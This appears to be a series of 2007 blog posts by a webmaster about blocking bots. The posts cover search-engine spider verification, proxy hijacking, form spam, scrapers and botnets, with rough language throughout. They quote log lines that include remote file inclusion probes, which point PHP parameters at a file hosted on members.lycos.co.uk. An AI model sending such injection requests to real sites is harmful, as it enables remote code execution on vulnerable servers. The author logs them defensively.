State of Spider Verification One Year Later

A year ago at SES in San Jose we made a big fuss about not being able to validate if the spiders were truly coming from the search engines or being spoofed.

At the time some people were maintaining lists of known valid spider IP addresses while others used to authorize entire ranges of IPs for various datacenters just in case they used new IPs which frequently happened.

Finally the big 4 search engines have all gotten on board implementing round trip DNS checking for spider verification with Google leading the pack back in September '06 right on the heels of SES San Jose.

Here's the implementation timeline:

08/06/06 - How to verify Googlebot on Google's Webmaster Central Blog

11/29/06 - Ask has round trip DNS support as well. Not sure of the exact date but it appears Ask beat out Microsoft based on a post on Matt Cutts Blog. I remember them mentioning this at one of the conferences last year, definitely PubCon at a minimum. If someone from Ask wants to give us an official date that would be nice.

11/29/06 - Search robots in disguise on Live Search team's blog. I remember when I asked the search engine panel at PubCon when they were going to follow Google's lead on this issue the Live Search guy's hand shot right up and said they already had it done.

Look at how quick and responsive 3 search engines were to webmaster complaints about spoofing issues.

...and barely getting it done before SES San Jose '07

06/05/07 - Yahoo! Search Crawler, Slurp, has a new Address and Signature Card on the Yahoo! Search Blog.

Better late then never and it would probably have been a big embarrassment had another year passed without keeping up with the competition.

Other spiders that appear to have implemented round trip DNS validation, to name a few off the top of my head, include Exabot, Furlbot, Twiceler, VoilaBot, even a few aggregators like BecomeBot and tailrank.com and a whole lot more so it's catching on.

Then you have stragglers like Gigabot that don't even bother setting any reverse DNS whatsoever and you have to do a whois on the IP address just to see if the IP block is assigned to their company or not. Come on people, get with the the program!

Obviously we still have a few search engines that need to catch up but at least all the major players can now be verified and a simple PHP script using round trip DNS verification can stop proxy hijackers and scrapers that spoof the search engines.

Google Dance 7 Kicked Butt

Did my annual pilgrimage to the Google Dance event last night that's associated with SES San Jose and had a pretty good time.

The Google Dance never fails to impress me as Google knows how to throw one hell of a party with enough food and drink to feed a small army (which it was, huge crowd) and some DJ's rocking the house.

Just to become a typical name dropping whore, in no particular order, I'll tell you I ran into Brett Tabke, Danny Sullivan, Matt Cutts, John Andrews, Jon Glick (become.com), Bob, Phil, Evan (Google Webspam guy, works with Matt), and a bunch of other people I can't remember off the top of my head. Earlier in the day in the SES exhibit hall had a nice chat with Brian Prince of BOTW and Lawrence Coburn of RateitAll and I spotted ShoeMoney hanging out at the WebmasterRadio booth but didn't get a chance to say "Hi!" even. Martinibuster was supposedly running around the Google Dance but we didn't spot him.

Everyone was talking about the highs and lows of the last Google update as many people got by unscathed. Some, like myself, are experiencing phenomenal traffic improvements but everyone had a story of someone they knew that took a swan dive and is now in the bottom of the Google barrel.

The hot topic of the day which was quite the buzz at the Google Dance was an SES session about paid links where some described it at a near revolt (riot) of the masses against Matt Cutt's stating the Google company line about paid links. Play the video on SER, pretty funny.

I hate to be a complainer because it was a great party but I have a couple of minor gripes that maybe Google can address next year:

1. Put some trash cans near the food and beverage stations. We had to walk all over the place trying to find trash cans, which is no fun with a busted up toe, just so we could be good guests and not litter the place.
2. SUPPLY SOME TOOTHPICKS! Maybe you had them, but I sure couldn't find them, and spent half the night trying to get a stuck kernel of corn out from between my teeth.
   

Other than those 2 nit picky things, well done again this year Google!

Dan Thies Lights Fire Under Google for Proxy Hijacking

I've discussed Google proxy hijacking many times before in this very blog, even joked about it.

Now Dan Thies has done an excellent post about the problem appropriately entitled "Google Proxy Hacking: How A Third Party Can Remove Your Site From Google SERPs".

Dan's post is complete with visual aids for those having trouble grasping how it works and even links to some sites with PHP code to help alleviate the problem.

Read a detailed account of just how easily it is to have the deadly combination of Google and a proxy server turn your website's ranking in Google literally upside down as you get a duplicate content penalty for your own pages, and worse!

Run, do not walk, to read Dan's post and tell all your friends as this information could save many websites from a sudden and untimely demise in Google.

CONTACT US Form Spammers Monitor Submit Results!

I have one CONTACT US form on a website that I leave less protected than other forms just to allow customers with their browser security dialed up tight to drop a line without getting caught in anti-spam snares.

Mind you, this page only sends an email to ME, nothing public, nothing nobody will ever see as I sure as hell won't look at the spam other to delete it, so it gives them ZERO value for their efforts, yet they persist.

So in the beginning there was a small trickle of spam on this form that started to escalate.

The first thing I did ages ago was I changed to the form to require a POST just to thwart them from their simple GET's dumping junk.

Eventually they switched to use a POST, but that means someone was monitoring response codes, but WHY?

The trickle of spam eventually came back.

So I changed a couple of fields just to alter the process and break their auto-spam tool.

A long nice quite period but obviously someone is watching and they adapted yet again.

Fine, so I made it a requirement that the page rejected the post unless they had accessed some other page on my site first, which would be a normal user thing.

This caused a longer period of blissful silence.

Then here comes the spam yet AGAIN!

OK, fine, let's try embedding something in the page unique per visitor so if you don't get the CONTACT US page first, and use that parameter, it will reject the submit.

This just blew my fucking mind when a few days later they adapted to first get the page, get all parameters from the form, then POST the page!

OK, now we know someone is fucking watching this page...

Fine.

I made a change that you can't see in the HTML, it's all server side, knock your fucking socks off trying to adapt this time.

I still don't see why the spammers would bother as they're just wasting time.

Nobody will ever see their spams, NEVER EVER, but I can play this cat and mouse game as long as they can.

All this trouble just because I didn't want to annoy visitors with a captcha on a single page, or require cookies or javascript to be enabled.

If they push me too hard the captcha gets installed.

FYI, I'm watching the someone trying to fix their form post to my site as I'm writing this. They've made about 10 attempts now and it's still not getting through. This must be making him nuts as I don't give them any clues why the submit isn't working except a generic error that the submit failed and please try again!

Let's see what happens next...

UPDATE: The spambots were hammering away at that forum trying to figure out what I did for days with literally hundreds of post attempts from a couple of IPs. Probably the spambot herder trying to figure out my latest anti-spam hack. Then it stopped, not a single POST from those sources and it's back to normal with only real posts from humans.

Yahoo's RSS Feed Refresh is SLOW!

One of my sites has a dynamic RSS feed and it sends a refresh ping to Yahoo every time new content is added to the feed. Sometimes the content is added slowly over the course of the day, sometimes content is added more rapidly and new items are added to the feed almost back to back.

The code managing the feed is simple in that it simply updates the RSS feed and pings all the refresh services in real time as the data becomes available.

If you add more than one item in a minute or two what does Yahoo say?

Refresh failed: Too soon http://www.mysite.com/myfeed.xml

Too soon for what?

Too soon for more new content?

Too soon for your crappy refresh servers to keep pace with reality.

Why don't you just queue it up because I've already told you that the content you previously had is already OUT OF DATE but noooooooo, it's TOO SOON to refresh because we're Yahoo and we have silly rules in place to protect our fragile servers.

Well guess what?

You need a new error called: "TOO LATE!" as your version of the feed is older than everyone else's that could keep up.

As a matter of fact I thought I'd try it ONE MORE TIME as I figured in the time it took to type this blog post that Yahoo would've allowed the RSS feed update by now so I manually pinged their server and you guessed it "TOO SOON! TOO SOON! WE'RE YAHOO AND WE CAN'T KEEP UP!"

Sheesh.

Attempted Distributed Scrape from SAIX.net

This is the kind of scrape attack I warn my bot blocking comrades in arms that they would probably miss because it's distributed over multiple IP addresses. Had the scraper not left the default user agent "Java/1.6.0_02" most of the anti-scrapers would be helpless against this type of scrape.

Here's a sample of the activity:

198.54.202.246 [ctb-cache7-vif1.saix.net.] requested 3 pages as "Java/1.6.0_02"
198.54.202.194 [ctb-cache4-vif1.saix.net.] requested 1 pages as "Java/1.6.0_02"
196.25.255.210 [rba-cache2-vif0.saix.net.] requested 3 pages as "Java/1.6.0_02"
198.54.202.195 [ctb-cache5-vif1.saix.net.] requested 3 pages as "Java/1.6.0_02"
196.25.255.218 [rrba-ip-pcache-6-vif0.saix.net.] requested 4 pages as "Java/1.6.0_02"
198.54.202.214 [rrba-ip-pcache-5-vif1.saix.net.] requested 4 pages as "Java/1.6.0_02"
196.25.255.195 [ctb-cache5-vif0.saix.net.] requested 1 pages as "Java/1.6.0_02"
198.54.202.210 [rba-cache2-vif1.saix.net.] requested 2 pages as "Java/1.6.0_02"
198.54.202.218 [rrba-ip-pcache-6-vif1.saix.net.] requested 2 pages as "Java/1.6.0_02"
196.25.255.214 [rrba-ip-pcache-5-vif0.saix.net.] requested 1 pages as "Java/1.6.0_02"
198.54.202.234 [rba-cache1-vif0.saix.net.] requested 3 pages as "Java/1.6.0_02"
196.25.255.194 [ctb-cache4-vif0.saix.net.] requested 1 pages as "Java/1.6.0_02"
196.25.255.250 [ctb-cache8-vif0.saix.net.] requested 1 pages as "Java/1.6.0_02"

This is a prime example of why standard bot blocking that only takes a single IP address would fail because these are all proxy servers that claim to be forwarding on behalf of 41.240.133.235 [dsl-240-133-235.telkomadsl.co.za].

Assuming these script kiddies fix the default UA all that needs to be done to stop them is track access based on the proxy forward IP, which I do, which makes stopping this kind of nonsense childs play.

FYI, before anyone asks stupid questions like "How do you know it was a scraper?" it's because of the access of my pages names in sequential alphabetical order. Other than being distributed among many IPs via the SAIX caching proxy, which could be hard to identify via a log file review, the rest looked like it was amateur hour at the scraping faire.

This is why I tell people post-mortem Apache log file reviews simply don't work because there is insufficient information to identify things that my code easily catches in real time.

Keniki Has Meltdown on Matt's Blog

The comments on most blogs aren't that amusing in and of themselves until one of the blog posters goes right off the deep end and has a meltdown.

The recipient of this meltdown and flamefest is no less than good old Matt Cutts himself.

First Matt posts that he's booted someone from his blog and Keniki chimed in about dreaming of being the recipient of such action:

keniki Said,
July 20, 2007 @ 4:23 pm

I tuned in thinking it was probably me. To be honest I’d welcome it. Its not been easy seeing one of my sites ripped apart by proxy servers , scraped bowled and hijacked and it sent me into to a over the edge at times.

Matt I think you should apply the same filter to Keniki. I am probably going to quit the net anyway and you should delete my stuff, I was pretty pissed when I wrote most of it.

OK, how does one "quit the net"?

Yank the cables off the back of the computer?

Smash the wireless Centrino chip in the laptop?

Then a couple of days later Keniki goes full tilt:

keniki Said,
July 27, 2007 @ 9:31 pm

[...] FUCK that google the site also showed hidden content and deceptive redirects. It seems rules do not apply if you show google adsense, the passport of spam.

Immediately followed by:

keniki Said,
July 27, 2007 @ 9:44 pm

Its all bullshit isn’t it google, you couldn’t give a stuff about quality results its all about the money now isn’t it. Your spam team are told not to touch results that carry google ads.

Damn!

Someone woke up with their knickers in a knot didn't they!

Looks like a self-fulfilling prophecy in action about having Matt delete your posts.

I must say I'm shocked that people would be so rude and vent at a company employee that actually tries to help people on his own time.

This is a prime example why most company employees don't publicly admit, not on a blog anyway, who they work for as it's just too dangerous to paint such a bullseye on your back for anyone and everyone to come and attack you just for being a small cog in a giant wheel.

Guess we'll just have to wait and see how this little melodrama plays out.

Anyone giving Vegas odds on whether Matt boots Keniki?

1-More Scraper Tool

These scrapers are like locusts and here's another $19 pile of crap called 1-More Scanner that bounced off one of my sites today.

The user agent was "1-More Scanner v1.25" and it claims it can "Download images, MP3 or any file from any site!" which is an awfully big claim for something that didn't get a single page.

The only amusing part is a feature for "Proxy-support" which will just help me update my proxy list when I see it attempt to crawl via a bunch of proxy IPs, thanks for the help!

Site Scraping for DreamWeaver

Now there's a DreamWeaver plug-in that makes scraping easy for dummies.

If you have no web skills just use Site Import and rip off an entire site at once.

Why learn how to design a site, create your own content, or any of that nonsense when you can just quickly and rapidly download someone's site instead?

This is cute:

No limit retrieval

With Site Import 2.0 you can import as many pages from a site as you'd like – no more limits!

That's a nice theory until a bot blocker shuts your import down in mid-scrape.

And my personal fave:

Learn from the pros

Learning by example is a time-honored tradition on the Web

I'm not sure that stealing is a time-honored tradition even if imitation is the sincerest form of flattery.

And last but not least:

Dynamic and database-driven sites, too!

Site Import works its magic with all kinds of Web sites – including those developed with ASP, ColdFusion, PHP or even .NET.

Grab your ankles and bend over while it extracts hundreds of thousands of pages from your database-driven site and pushes you over your monthly bandwidth allotment.

Don't know what user agent they use for this process but I'm pretty sure my sites (not this blog) are pretty safe from this shit except for the first few pages scraped while determining it's not a human at the controls.

FuckedCompany Died in June

About a year ago I reported that FuckedCompany was fucked, but it suddenly seemed to have a little more gas left in it and they started posting regularly again. However, it looks like that gas ran out as they quit updating the site on 6/8/2007 so it's probably dead for good this time.

FuckedCompany's site owner Pud, of AdBrite fame, is still posting on his blog but it appears he's given up on FuckedCompany, so I guess I'll give up on it as well.

Guess it's time to delete that bookmark.

See ya!

Rehabilitating Massive Amounts of 404 Errors

One of my sites used to get as many as 100K 404 errors in a single month.

Leading cause of this problem?

SEARCH ENGINES!

That's correct, the #1 leading cause was search engines but they were just a symptom of a bigger problem and not the root cause. Sloppy scrapers and crappy wannabe search engines and directories that mucked up the URLs were the true culprit. Then the major search engines crawled these sloppy sites, indexed those mucked up URLs, and that's when all the 404 fun starts.

Obviously my bot blocking stopped the scraping so the source of the mucked up URLs eventually faded away but that still left a serious amount of junk in the search engine crawler queues to clean up.

Some of the links had everything from an ellipsis in the middle to fragments of a javascript OnClick() appended to the link. My personal favorites were the Windows script kiddies that don't realize Linux servers are case sensitive and converted all my links to lower case. There were lots of other errors but you kind of get the point of what kind of damage can be inflicted with homemade crawlers written by incompetent assholes.

There were obvious solutions to use to clean up the search engines but those didn't address the immediate issue of visitors hitting 404 errors. Since I didn't want any actual visitors hitting these mucked up links to get a 404 error page, I set about logging and redirecting all the 404 errors that could be recovered to the actual intended page. Many of the mucked up links contained enough of the original path that I could identify the original page and put the request back where it belonged. Over a period of time the corrections began to stick in the search engines and eventually the 404 responses dwindled to a much smaller and manageable number.

Just another reason to be a diligent in blocking unwanted crawlers and scrapers as nothing good ever came from letting them crawl.

Are Domain Parks Playing Unfairly in Google?

John Andrews has been writing about the domainers becoming publishers:

The next wave of the competitive internet has arrrived, and it’s driven by the Domainers. No, not parked pages, and no, not typo squatters. Domainers as publishers.

After reading the post I was thinking "So what? They'll still have to fight for SE traffic just like everyone else except the added advantage of the premium domain names which will get type-in traffic and maybe rank a little better."

Well, I was sorely mistaken that it would still be even close to a level playing field as the domainers are using their domain park network to generate many thousands of backlinks in Google and Yahoo.

My initial investigation of all these backlinks in Google and Yahoo showed different links in the live sites I visited vs. Google or Yahoo cache which means they might be cloaking. The page cache always had specific links to their publisher sites on parked pages when the search engines crawled, but it'll be hard to prove it wasn't coincidence unless this situation persists over time.

The real question is why do the search engines index domain park sites in the first place?

The lame answer you'll get is "in case they turn into an actual website".

OK, crawl the sites, fine, but why should those parked pages show up in the search results or be allowed to influence page rank before they become an actual site of value?

We all know the an$wer to that que$tion a$ well.

Proxy Hijacking Humor

Instead of all the serious posts about Google Proxy Hijacking it's time for a little bit of humor, very little, my apologies in advance.

Riddle:

Q: What do you call thousands of PhD's that can't stop simple proxy hijacking of your website?

A: Google!

Knock Knock Joke:

a: KNOCK KNOCK!

b: Who's there?

a: Proxy!

b: Proxy who?

a: Proxy who Google crawls through to hijack your site!

Brain Teaser:

What does the following URL represent in Google SERPs?

http://someproxysite.com/nph-page.pl/000000A/http/www.airplane.com

Answer: If you said "Airplane Hijacking" you are correct!

And now, a sad light bulb joke:

Q: How many proxy sites does it take to screw in a light bulb?

A: None. Proxy sites get Google to hijack a light bulb that's already screwed in.

More airplane humor:

Q: What's the difference between a website and a 747?

A: Proxy sites can't get Google to hijack a 747!

Last but not least...

Q: What do you call a good proxy site?

A: Offline.

Ok, you can groan, boo and hiss now.

Dynamic Robots.txt is NOT Cloaking!

If I read just one more post that claims using dynamic robots.txt files is a form of CLOAKING it might be enough to drive me so far over the edge that it would make "going postal" look pale by comparison.

For the last time, I'm going to explain why it's NOT CLOAKING to the mental midgets that keep clinging to this belief so they will stop this idiotic chant once and for all.

Cloaking is a deceptive practice used to trick visitors into clicking on links in the search engine and then showing the visitor something else altogether, a bait and switch practice. Technically speaking, cloaking is a process where you to show specific page content to a search engine that crawls and indexes your site and show different content to people that visit your site via those search results from that search engine.

Robots.txt files are never indexed in a search engine, therefore they will never appear in the search results for that search engine, therefore a human will never see robots.txt in the search engine, click on it, and see a different result on your website.

See? NO FUCKING CLOAKING INVOLVED!

Since the robots.txt file is only for robots, and humans shouldn't be looking at your robots.txt file in the first place, then showing the human "Disallow: \" is perfectly valid although you may show an actual robot other things as the human isn't allowed to crawl.

Let's face it, some of the stuff in our robots.txt file might be information we don't want people looking at or hacking around as it's just that: PRIVATE.

Additionally, robots.txt tells all of the other scrapers and various bad bots what user agents are allowed so if you're allowing some less than secure bot to crawl your site, the scrapers can adapt to that user agent to gain unfettered crawl access.

Dynamic robots.txt is ultimately about security, it's not about cloaking, and nosy people or unauthorized bots that look at robots.txt are sometimes instantly flagged as denied and blocked from further site access so keep your nose out and you won't have any problems.

If you still think it's cloaking, consider becoming a temple priest for the goddess Hathor as a career in logical endeavors will probably be too elusive.

Too Much FyberSpider In My Site's Diet

Found this FyberSpider thing that used to crawl from a Comcast address and has apparently grown up and is crawling from a real dedicated server now.

The ip was 69.36.5.45 and the reverse DNS claims to be server.fybersearch.net and sure enough there something called FyberSearch with what appears to be a functional search page. The results actually appear to be populated with data collected from their crawl, trade secret, don't ask.

It asked for robots.txt but doesn't have the user agent set properly so it won't get past many bot blockers, assuming it actually honors robots.txt, until they fix that little bug.

69.36.5.45 "GET /robots.txt HTTP/1.0" "Python-urllib/1.15"
69.36.5.45 "GET / HTTP/1.0" "FyberSpider"

Here's the data center info if you want to block it:

OrgName: JTL Networks Inc.
NetRange: 69.36.0.0 - 69.36.15.255

The search page has issues finding words in the one page I allowed to be indexed so I'm not terribly impressed, NEXT!

Al Gore's Son Arrested in Harrowing Hybrid Hijinx

I've never let anyone else post a guest article here before but this is just so true and so funny it needed to be shared with my readers.

Enjoy.

Guest post by Larry.

so al gore's son got arrested. again. the story has one detail that is so unbelievable that they should probably throw the entire case out.

is it unbelievable that al gore's son was arrested?

no

is it unbelievable that al gore's son was arrested again? for the second or third time?

no

is it unbelievable that al gore's son was arrested for the third time on penny ante drug charges?

no

is it unbelievable that al 3 was smoking marijuana in his car in the middle of the night?

no

is it unbelievable that he had some prescription drugs in the car with him?

no

is it unbelievable that some drugs includes quantities of xanax, valium, vicodin, adderall and soma?

no

is it unbelievable that of the prescriptions for some xanax, valium, vicodin, adderall and soma, none were in his name?

no

is it unbelievable that he was driving at 2 a.m.?

no

is it unbelievable that he was driving his prius at 100 miles per hour?

damn right it is.

100 mph in a prius? maybe if he drove it off a cliff and it was in free fall or scotty was beaming it up. down the road with tires on the pavement, i'd have to see it to believe it. clearly the whole case lacks probable cause for the traffic stop. it's a set up. bush making sure al doesn't get in the race. cause you know in this country you can't be president if your son is a jackass. wait so how did 41 get in? case dismissed, bogus traffic stop. they should have said, failed to signal a lane change like they usually do when they want to do illegal stops.

Google Proxy Hijacking - Myths, Urban Legends and Raw Truths

If you aren't a regular Webmaster World reader then you probably missed the most recent incarnation on the Google Proxy Hijacking situation where I had to step in and correct a lot of misinformation about Proxy Hijacking.

Go read the following:
Proxy Server URLs Can Hijack Your Google Ranking

Lots of good information there once you weed through all the misconceptions.

If you read that entire thread and still have any questions, feel free to ask!

Dear Amazon AWS Group Part Deux

Back in November I wrote an open letter to the Amazon AWS Group about trying to get them to stop using the default user agent "Java/1.5.0_09".

Today I noticed that they gave me a clear response to my open request:

216.182.228.223 [domU-12-31-33-00-02-01.usma1.compute.amazonaws.com.]
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; T312461) Java/1.5.0_09"

Oh yes, prefixing "Java/1.5.0_09" with an MSIE 6.0 user agent is MUCH better.... NOT!

Must've been getting blocked from crawling too many sites that block the default Java UA.

Nice try guys, but that's really fucking lame.

Easy To Spot AlphaServer Botnet

Sometimes when a distributed botnet hits your site it's quite trivial to spot their collective effort because they're using a slightly offbeat user agent that's not terribly common in the first place combined with the associated speed and time of access.

Here's the IPs and user agent used:

76.190.183.150 [cpe-76-190-183-150.neo.res.rr.com.]
"Mozilla/4.0 (compatible; MSIE 4.01; Digital AlphaServer 1000A 4/233; Windows NT; Powered By 64-Bit Alpha Processor)"

71.205.86.12 [c-71-205-86-12.hsd1.mi.comcast.net.]
"Mozilla/4.0 (compatible; MSIE 4.01; Digital AlphaServer 1000A 4/233; Windows NT; Powered By 64-Bit Alpha Processor)"

67.160.41.82 [c-67-160-41-82.hsd1.wa.comcast.net.]
"Mozilla/4.0 (compatible; MSIE 4.01; Digital AlphaServer 1000A 4/233; Windows NT; Powered By 64-Bit Alpha Processor)"

70.224.38.36 [adsl-70-224-38-36.dsl.sbndin.ameritech.net.]
"Mozilla/4.0 (compatible; MSIE 4.01; Digital AlphaServer 1000A 4/233; Windows NT; Powered By 64-Bit Alpha Processor)"

75.84.251.65 [cpe-75-84-251-65.socal.res.rr.com.]
"Mozilla/4.0 (compatible; MSIE 4.01; Digital AlphaServer 1000A 4/233; Windows NT; Powered By 64-Bit Alpha Processor)"

72.232.65.34 [72.232.65.34.svservers.com.]
"Mozilla/4.0 (compatible; MSIE 4.01; Digital AlphaServer 1000A 4/233; Windows NT; Powered By 64-Bit Alpha Processor)"

That little group of IPs all hit within 2 minutes of each other and came from both hosting centers and residential locations, definitely a collaborative effort, most likely a botnet.

I've seen more little attacks/scrapes like this than you can imagine but this particular user agent struck me a amusing as it's almost a desperate cry to get caught, like they're flaunting it in our faces that many of our machines are hacked.

Javascript Cloaked Spam Pages Baffle Search Engines

Recently I ran across a large series of scraper sites that are the ultimate in openly cloaking to the search engines. The pages I see when I view the source are the same pages cached by the search engines, nothing special there so a search engine crawling outside it's IP range to check for cloaking would see the same page.

However, access those pages with javascript enabled and you are instantly redirected to a wide variety of affiliate pages. The trick is these pages all have a single embedded link to a heavily obfuscated page of javascript that redirects you to the affiliate pages.

The scraping to build these cloaked pages came from 216.75.15.26 which is in the cari.net IP range:

OrgName: California Regional Intranet, Inc.
NetRange: 216.75.0.0 - 216.75.63.255

Just goes to show you that traditional cloaking is a thing of the past as the war has escalated into obfuscated javascript. The only way I see the search engines winning this war is to actually execute that javascript and see if the resulting action was to take the visitor away from the page.

Just goes to show that people claiming here in comments recently that "Stealth crawling is necessary to keep honest webmasters honest" are out of their league and don't really know what the score is on the web as the sites aren't honest when they are in plain site, no stealth needed, they worked around it.

Wonder what they'll think up next?

Blog Feed Messed Up

I just noticed that the blogger feed is all messed up and my reorganizing old posts into categories and such appears to also dump them into the feed as something new.

Stupid blogger.

Sorry for the problem, but there doesn't appear to be much I can do about this.

Be prepared for a bumpy ride of summer reruns as I organize the blog!

Contact Us Form Spammers

Well boys and girls, you didn't really think that hiding your email address behind a CONTACT US form would stop spammers did you?

I have all of my forms on my website protected except one page which I left wide open with no protection just to allow anyone having trouble with the site easily contact me. That page has just a simple form, no captcha, no referrer checks, no bot blocking, nothing, it's completely open as a safety valve for access from end users.

However, some dick head in Oman with nothing better to do has apparently decided to make it his personal goal in life to automatically post to this form.

You have to ask yourself, why is this random form page so important?

The answer is obvious as everyone hides behind CONTACT US forms and no longer post email addresses which the spammers can no longer harvest from your web page. Now it would appear they are harvesting any page with a FORM on it and trying to set up the parameters that allow them to submit spam through all these forms.

I don't run any off-the-shelf Open Source software so there is no software fingerprint on any of my pages that the mass spammers could easily find, so this is an act of desperation in manually building a bigger database of sites to spam.

Just to prove this theory, I checked to see what else this spammer was trying to do on my site besides trying to spam my contact page. Big shock, the same IP address is trying to spam the other protected pages.

Here's some other info collected from the same IP:

62.231.243.137 "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040115 Galeon/1.3.12" "massive dick sex" http://bratuha.info

62.231.243.137 "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" "Online tramadol. Cheap tramadol." http://

I never see any of the above junk in my Inbox or anywhere else as it's all submitted on protected pages so a little information is automatically logged and the rest of the crap discarded.

So how can I protect this form from automation and still leave it open to not impact other visitors?

We'll use one of my old favorites, a simplistic but effective approach, which is RANDOM FIELD NAMES. Each time the form is displayed the field names change so the spammer can't pre-program any code to automatically populate the fields because he won't know their name.

An argument could be made that the spammer could read the page and use the field position, but that would assume the position in the HTML is the same as the position on the page, good old CSS to the rescue.

If I want to really make it just about impossible for the spammer to figure out the page and still not use javascript or a captcha, I might use 10-20 random fields with only 3 of them chosen at random to be visible so the user would never know the difference.

Golly gee Mr. Spammer, which of those 20 random fields should you fill in?

Be careful because filling the wrong field, the field the visitor can't see, is yet another form of CAPTCHA, so choose your field wisely otherwise you're automatically going to be banned.

Maybe to be real sneaky, I'll just add new fields to the form and leave the old obsolete fields on the page so if they get filled in I know it's an old spammer script.

Just remember, keeping your email address off the web site doesn't mean you won't get spammed so secure those contact pages today!

Doctor Zero Goes Scraping

Some scraper used all zeros in place of the parameters normally found in an MSIE or Firefox browser user agent.

Just look at this stupid crap:

86.21.47.45 "Mozilla/5.0 (000000000; 0; 000 000 00 0 000000; 00000; 0000000000) 00000000000000 000000000000000"

86.21.47.45 "Mozilla/5.0 (000000000; 0; 000 000 00 0; 00) 000000000000000 0000000 0000 000000 000000000000"

You know what he got for his efforts?

A big fat fucking ZERO in return, nada, zip, zilch, goose egg.

I'll bet he got the same number as a grade on his computer science project in school too!

Jesus Can't Help You Surf

Jesus may be his savior, but my bot blocker is mine.

68.46.236.235 [c-68-46-236-235.hsd1.fl.comcast.net.]
requested 1 pages as "Jesus Is My Savior"

Sorry pal, but to get access to my site you'll need something called Mozilla.

AMEN

TextDigger Caught Using Stealth Shovel

Some semantic search thing called TextDigger stumbled into my spider trap today.

I have nothing against semantic search, I'm not an anti-semantite (that's not the word you think it is, read it twice, i made it up just to be punny), but I'm definitely anti-stealth crawler.

According to the bot blocker, TextDigger requested 136 pages after being challenged while using the following user agent:

64.124.138.164 [nat1.textdigger.com]
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)

Here's their IP range:

TextDigger MFN-B849-64-124-138-160-28 (NET-64-124-138-160-1)
64.124.138.160 - 64.124.138.175

Not sure if what hit my server was their actual main crawler or not, but they aren't gaining any brownie points with me crawling in stealth for any reason.

BotNets Hosting Files On Lycos UK

Found this amusing little botnet attack for random vulnerabilities today that was pointing to Lycos.co.uk as the host of their little file.

85.25.148.223 - "GET //article.php?id=http://members.lycos.co.uk/modelteam/echo.txt?" "libwww-perl/5.803"

85.25.148.223 - "GET //rpm-pl/php-manual-ru.html?hl=http://members.lycos.co.uk/modelteam/echo.txt? " "libwww-perl/5.803"

193.144.43.198 - "GET //index.php?newlang=http://members.lycos.co.uk/modelteam/echo.txt?" "libwww-perl/5.65"

193.144.43.198 - "GET //rpm-pl/php-manual-ru.html?hl=http://members.lycos.co.uk/modelteam/echo.txt?"
"libwww-perl/5.65"

193.144.43.198 - "GET //article.php?id=http://members.lycos.co.uk/modelteam/echo.txt?" "libwww-perl/5.65"

66.194.211.86 - "GET //article.php?id=http://members.lycos.co.uk/modelteam/echo.txt?" "libwww-perl/5.79"

66.194.211.86 - "GET //index.php?newlang=http://members.lycos.co.uk/modelteam/echo.txt?" "libwww-perl/5.79"

Quite amusing that the botnets are now leveraging large companies member services to do their evil bidding.

Bot Blocker Tracking More Than 80K Unique IPs

Lately I've been doing some analysis work on my database of IPs that I'm tracking for bad behavior and it exceeded 80K unique IPs. Many of these are from data centers, bot nets, home-based scrapers and then some, but it's a staggering number when it exceeds 80K.

People always wonder why I'm such an anti-scrape nazi but it's really not hard to see the problem when you multiply 80K IPs trying to scrape an excess of 40K pages, which is a potential for having over 3 BILLION pages scraped in the last year.

Here's the number with all the zeroes: 3,200,000,000 pages.

OK, that's really a lot of pages and there's no way I'm paying for that kind of bandwidth.

I seriously doubt they would ever hit the maximum pages but there's no way I'm unlocking the doors and let them run rampant just to find out how bad it would really get.

Here's a sample of 3 greedy fuckers that paid a visit just today:

82.34.200.237 [82-34-200-237.cable.ubr05.hari.blueyonder.co.uk.] requested 710 pages as "Mozilla/4.0 (compatible; GoogleToolbar 4.0.1020.2544-big; Windows XP 5.1; MSIE 6.0.2900.2180)"

70.80.186.223 [modemcable223.186-80-70.mc.videotron.ca.] requested 1071 pages as "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"

201.58.219.234 [20158219234.user.veloxzone.com.br.] requested 329 pages as "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)"

They only got a couple of pages before getting nothing but garbage, but they just keep trying. Based on the location of the IPs, I'm thinking it might be compromised machines in a botnet trying to scrape from stealth locations, hard to say.

The best part is, they're now charter members of my AUTO-QUARANTINE list of IPs meaning they're blocked from accessing any pages on their next trip unless a human is at the controls, and even then, they could get locked out real fast if they aren't careful!

Top 10 Signs Your Website Has Made it Big

People ask me every now and then how to tell when their website has finally hit the big time.

In response, I compiled a Top Ten list of things that come to mind based on my own experience.

Top Ten Signs Your Site Has Made it Big

1. Your site traffic is higher than you could ever imagine and you pinch yourself daily to make sure you're not dreaming.
   
   
2. Email fills your Inbox non-stop all day long with no prayer of it all ever being answered.
   
   
3. Other webmasters constantly pester you to swap links with their site and you already have so many quality back links you can say "No Thanks!" without even checking their site.
   
   
4. People from around the country (world) start calling your phone number that don't comprehend the terms "9-5 PST".
   
   
5. You don't go searching new business opportunities, they seek you out.
   
   
6. People ask your advice for all sorts of business related topics that previously wouldn't have asked you for the time of day.
   
   
7. Media marketing companies call you to get their ad network on your site and you can easily decline all those offers because they simply don't pay enough for your space.
   
   
8. Everyone wants their products to be displayed on your site and you can actually negotiate a better payout than the rest of their affiliates.
   
   
9. Hiring employees or contractors to run your website and help with your business issues is suddenly a possibility.
   
   
10. And the top sign your site has made it big:
    You start cashing really big fat checks on a regular basis.
    

Hosting Company Blocks Bots

Looks like we overlooked this little press release last year when Mecca Hosting announced Mecca Hosting Bounces Bad Bots from their servers.

Here's the good stuff:

Mecca Hosting, a leader in providing customized hosting solutions, has just released a new system to detect and block suspicious automated programs or "bots". Mecca Hosting's new system, by blocking these bad bots, helps protect customer's intellectual property, e-mail addresses, and prevents blog spamming and hacker attacks. This new system can detect good bots, like Search Engines and specialized tools, to allow them access to websites, while blocking the bad ones. This new technology will result in vastly increased website uptime and performance, due to the expected reduction in hack attempts; mainly because hackers use automated tools to find system vulnerabilities.

Sounds good, but how good is it?

Just to see if it basically worked, I used a few tools to try to snag a page or two and got bitch slapped with 403 errors.

Not bad Mecca, not bad.

